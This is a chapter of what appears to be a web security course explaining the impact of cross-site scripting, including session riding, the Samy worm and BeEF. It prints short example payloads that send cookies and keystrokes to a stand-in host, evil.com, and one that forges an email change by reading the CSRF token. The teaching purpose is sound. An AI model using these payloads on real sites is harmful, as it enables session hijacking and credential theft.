What an Attacker Achieves

Chapter 5
What an Attacker Achieves
Cookie/session theft, keylogging, request-riding, and XSS worms

Chapters 1–4 covered the mechanism; this one covers the impact — what an attacker actually does once their script runs same-origin. Understanding the breadth of damage is what justifies treating XSS as a critical bug rather than a cosmetic one. Every capability below follows from a single fact: the script has the full power of the page, in the victim's authenticated session.

1. Session/Cookie Theft

The classic impact: exfiltrate the session cookie so the attacker can impersonate the victim from their own machine — no password needed.

<script>fetch("//evil.com/c?" + document.cookie)</script>

HttpOnly cookies (Chapter 10) defeat this specific read — but as Chapter 1 noted, the script can still act within the session directly, so cookie theft is just the most convenient option, not the only one.

2. Session Riding (Acting As the User)

Rather than steal the cookie, the script makes authenticated requests from the victim's own browser, where the session cookie is attached automatically — and, being same-origin, it can read the responses too. This works even against HttpOnly:

// change the victim's email, then read the result — all in-session await fetch("/account/email", { method: "POST", headers: { "X-CSRF-Token": readToken() }, // reads the CSRF token from the page! body: "email=attacker@evil.com", });
This is why XSS defeats CSRF defences (the CSRF-course callback)
Notice the payload reads the anti-CSRF token straight out of the page and includes it — so the synchronizer-token defence (CSRF course, Chapter 5) is bypassed entirely. Same-origin script can read any token the page holds, set custom headers, and read responses. This is the concrete mechanism behind the rule "XSS is strictly more powerful than CSRF; fix XSS first." An attacker with XSS doesn't need CSRF at all — they have something better.

3. Credential Harvesting & Keylogging

Because the script controls the DOM, it can capture input directly or rewrite the page into a phishing trap that the user trusts (it's the real domain, real URL, valid certificate):

// keylogger: capture everything typed and exfiltrate it document.addEventListener("keydown", e => fetch("//evil.com/k?" + e.key)); // or inject a fake "session expired, please re-login" form that posts to evil.com

4. Data Theft

Same-origin reads mean the script can pull any data the user can see and exfiltrate it: page contents, personal info, messages, API responses, and non-HttpOnly tokens in localStorage (a reason bearer tokens in localStorage are risky, Chapter 9 / CSRF course Chapter 9).

CapabilityHowDefeated by HttpOnly?
Steal session cookiedocument.cookieYes (that read)
Act as the usersame-origin fetch (cookie auto-attached)No
Read CSRF token / forge requestsread token from DOMNo
Keylog / fake formsDOM event listeners / injectionNo
Steal localStorage tokenslocalStorage.getItemNo (HttpOnly is cookies only)

Only one row is mitigated by HttpOnly — underscoring that HttpOnly is a useful layer but nowhere near a fix.

5. XSS Worms — Self-Propagation

The most dramatic impact: a stored XSS on a social platform can carry a payload that replicates itself. When a victim views the infected content, the script runs and uses session riding to post the same payload to the victim's own profile/content — which then infects everyone who views them, spreading exponentially.

The Samy worm — XSS at internet scale (2005)
The canonical example is Samy, a stored-XSS worm on MySpace. The payload, planted in a profile, added the attacker as a friend and copied itself onto each viewer's profile, with the tagline "but most of all, samy is my hero." It infected over one million profiles in about 20 hours — at the time, one of the fastest-spreading malware in history — forcing MySpace offline to clean up. It used stored XSS + session riding to self-replicate. The lesson: a single stored-XSS hole on a high-traffic page isn't one compromise, it's a potential epidemic. (Samy Kamkar, the author, later became a well-known security researcher; the worm was non-destructive but led to a felony charge.)

6. Beyond the Page: BeEF-Style Control

Frameworks like BeEF (Browser Exploitation Framework) demonstrate XSS as a persistent foothold: the injected script "hooks" the browser and opens a control channel, letting an attacker pivot — fingerprint the browser, launch further attacks against the internal network the victim can reach, drive social-engineering popups, and maintain control as long as the page stays open. XSS becomes a beachhead, not just a one-shot.

The takeaway: "it's just an alert box" is a dangerous misread
Demonstrations use alert(1) because it's harmless and unambiguous — but the gap between alert(1) and fetch('//evil.com/?'+document.cookie) is just the payload string; the capability is identical. Any XSS proof-of-concept that pops an alert could equally steal sessions, harvest credentials, ride the session past CSRF defences, or seed a worm. Treat every confirmed XSS as full compromise of that page in the victim's session, and prioritize accordingly.

Hands-On Exercises

Exercise 1

Explain the difference between "cookie theft" and "session riding" as XSS impacts. Show why session riding still works when the session cookie is HttpOnly, and why it lets the attacker bypass anti-CSRF tokens.

📄 View solution
Exercise 2

Describe how a stored XSS becomes a self-propagating worm, using the Samy worm as the model. Identify the two ingredients required (stored XSS + session riding) and why a reflected XSS generally cannot self-propagate the same way.

📄 View solution
Exercise 3

A manager says "the pentest only found an XSS that pops an alert box — low priority." Write a rebuttal listing five concrete things that same injection point could do instead, and explain why the alert and a session-stealer differ only by payload, not capability.

📄 View solution

Chapter 5 Quick Reference

  • Cookie theftdocument.cookie exfiltration → impersonate the victim (blocked for that read by HttpOnly)
  • Session riding — make authenticated same-origin requests from the victim's browser & read responses; works despite HttpOnly
  • Session riding reads the CSRF token from the page → bypasses anti-CSRF defences (why XSS > CSRF, fix XSS first)
  • Keylogging / fake forms — capture credentials directly via DOM control on the real, trusted origin
  • Data theft — read any visible data + localStorage tokens (HttpOnly is cookies only)
  • XSS worms — stored XSS + session riding = self-replication; Samy hit 1M+ MySpace profiles in ~20h (2005)
  • BeEF-style — XSS as a persistent foothold to pivot, fingerprint, and attack the internal network
  • alert(1) and a full session-stealer differ only by payload string — treat every XSS as full page compromise
  • Next chapter: the primary defence — context-aware output encoding